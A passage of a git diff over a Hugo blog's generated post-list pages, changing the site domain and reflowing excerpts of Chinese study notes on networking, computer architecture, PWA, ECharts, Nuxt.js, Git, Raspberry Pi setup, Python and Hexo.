-IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址...</p></div><footer class=entry-footer><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://xiaochenabc123.github.io/posts/156/></a></article><article class=post-entry><header class=entry-header><h2>计算机组成原理学习笔记</h2></header><div class=entry-content><p>计算机发展历史
+IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址...</p></div><footer class=entry-footer><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://chenjunlinabc.github.io/posts/156/></a></article><article class=post-entry><header class=entry-header><h2>计算机组成原理学习笔记</h2></header><div class=entry-content><p>计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
 电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）
@@ -127,71 +127,15 @@
 计算机的字符和编码集
 字符编码集的历史
 ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）
-因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符...</p></div><footer class=entry-footer><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://xiaochenabc123.github.io/posts/155/></a></article><article class=post-entry><header class=entry-header><h2>简单使用PWA技术</h2></header><div class=entry-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
+因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符...</p></div><footer class=entry-footer><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://chenjunlinabc.github.io/posts/155/></a></article><article class=post-entry><header class=entry-header><h2>简单使用PWA技术</h2></header><div class=entry-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
-registration => {
-console.log(registration)
-},error => {
-console.error(error)
-}
-)
-window.onload = function() {
-document.body.append('PWA!')
-}
-sw.js
-const cachename = 'v1'
-self.addEventListener('install', function (event) {
-console.log('install',event)
-// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
-event.waitUntil(new Promise(resolve =>{
-setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
-}))
-// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
-event.waitUntil(caches.open(name).then(cache =>{
-cache.addAll([
-'/',
-'./1.img'
-])
-})) // 开启cache api缓存系统
-})
-self....</p></div><footer class=entry-footer><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://xiaochenabc123.github.io/posts/154/></a></article><article class=post-entry><header class=entry-header><h2>ECharts数据可视化图表库简单使用</h2></header><div class=entry-content><p>ECharts是基于JavaScript的数据可视化图表库
+navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js
+const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self....</p></div><footer class=entry-footer><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://chenjunlinabc.github.io/posts/154/></a></article><article class=post-entry><header class=entry-header><h2>ECharts数据可视化图表库简单使用</h2></header><div class=entry-content><p>ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
-第一个实例
-import * as echarts from 'echarts'
-let app = echarts.init(document.getElementById('app'), null, {
-width: 800,
-height: 500
-})
-let data = {
-title: {
-text: '用户管理'
-},
-tooltip:{},
-legend: {
-data: ['用户']
-},
-xAxis: {
-data: [
-'root','admin','user1','user2','user3'
-]
-},
-yAxis: {},
-series: [
-{
-name: '用户权限',
-type: 'bar',
-data: [
-10,8,5,1,3
-]
-}
-]
-}
-app.setOption(data)
-注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=entry-footer><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://xiaochenabc123.github.io/posts/153/></a></article><article class=post-entry><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
+npm install echarts --save 第一个实例
+import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=entry-footer><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://chenjunlinabc.github.io/posts/153/></a></article><article class=post-entry><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
 需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等
@@ -202,8 +146,8 @@
 构建打包
 yarn build
 yarn start
-启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://xiaochenabc123.github.io/posts/152/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://chenjunlinabc.github.io/posts/152/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/20/index.html b/posts/page/20/index.html
index 90b9eb5f..f0131c82 100644
--- a/posts/page/20/index.html
+++ b/posts/page/20/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>Git版本管理系统学习笔记</h2></header><div class=entry-content><p>git安装
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>Git版本管理系统学习笔记</h2></header><div class=entry-content><p>git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
 Linux
@@ -17,7 +17,7 @@
 git status #返回仓库的当前状态
 git diff 文件名 #查看当前文件的内容
 git log #查看历史记录，加上–pretty=oneline 查看commit id（版本号）
-git reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本...</p></div><footer class=entry-footer><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Git版本管理系统学习笔记" href=https://xiaochenabc123.github.io/posts/30/></a></article><article class=post-entry><header class=entry-header><h2>配置树莓派笔记</h2></header><div class=entry-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
+git reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本...</p></div><footer class=entry-footer><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Git版本管理系统学习笔记" href=https://chenjunlinabc.github.io/posts/30/></a></article><article class=post-entry><header class=entry-header><h2>配置树莓派笔记</h2></header><div class=entry-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
 修改为国内镜像源
@@ -27,20 +27,14 @@
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
-ssid="wifi的名字"
-psk="wifi的密码"
-key_mgmt=WPA-PSK
-priority=1
-}
-update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid="wifi的名字" psk="wifi的密码" key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
 修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启
 vnc服务
 sudo raspi-config
-依次操作：Interfacing Options -> VNC -> Yes...</p></div><footer class=entry-footer><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 配置树莓派笔记" href=https://xiaochenabc123.github.io/posts/29/></a></article><article class=post-entry><header class=entry-header><h2>python基础语法笔记</h2></header><div class=entry-content><p>安装python
+依次操作：Interfacing Options -> VNC -> Yes...</p></div><footer class=entry-footer><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 配置树莓派笔记" href=https://chenjunlinabc.github.io/posts/29/></a></article><article class=post-entry><header class=entry-header><h2>python基础语法笔记</h2></header><div class=entry-content><p>安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
 dash Anaconda3-2019.10-Linux-x86_64.sh
@@ -79,7 +73,7 @@
 python能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量
 python可以处理整型任意大小的整数，也可以使用二进制代表整数、
 浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示
-字符串是使用"“和’‘括起来的任意文本，‘‘或"“本身只是一种表示方式，不是字符串的一部分...</p></div><footer class=entry-footer><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python基础语法笔记" href=https://xiaochenabc123.github.io/posts/28/></a></article><article class=post-entry><header class=entry-header><h2>Python的一些神器的简单用法</h2></header><div class=entry-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
+字符串是使用"“和’‘括起来的任意文本，‘‘或"“本身只是一种表示方式，不是字符串的一部分...</p></div><footer class=entry-footer><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python基础语法笔记" href=https://chenjunlinabc.github.io/posts/28/></a></article><article class=post-entry><header class=entry-header><h2>Python的一些神器的简单用法</h2></header><div class=entry-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
 Windows pip install virtualenvwrapper-win
@@ -103,7 +97,7 @@
 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas
 linux下
 配置永久使用
-cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip....</p></div><footer class=entry-footer><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Python的一些神器的简单用法" href=https://xiaochenabc123.github.io/posts/27/></a></article><article class=post-entry><header class=entry-header><h2>简单搭建一个hexo博客</h2></header><div class=entry-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
+cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip....</p></div><footer class=entry-footer><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Python的一些神器的简单用法" href=https://chenjunlinabc.github.io/posts/27/></a></article><article class=post-entry><header class=entry-header><h2>简单搭建一个hexo博客</h2></header><div class=entry-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
 hexo init blog
@@ -134,8 +128,8 @@
 打开主题配置文件
 修改sidebar.position的值
 left - 靠左放置 right - 靠右放置
-设置 头像...</p></div><footer class=entry-footer><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单搭建一个hexo博客" href=https://xiaochenabc123.github.io/posts/26/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/19/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/21/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+设置 头像...</p></div><footer class=entry-footer><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单搭建一个hexo博客" href=https://chenjunlinabc.github.io/posts/26/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/19/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/21/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
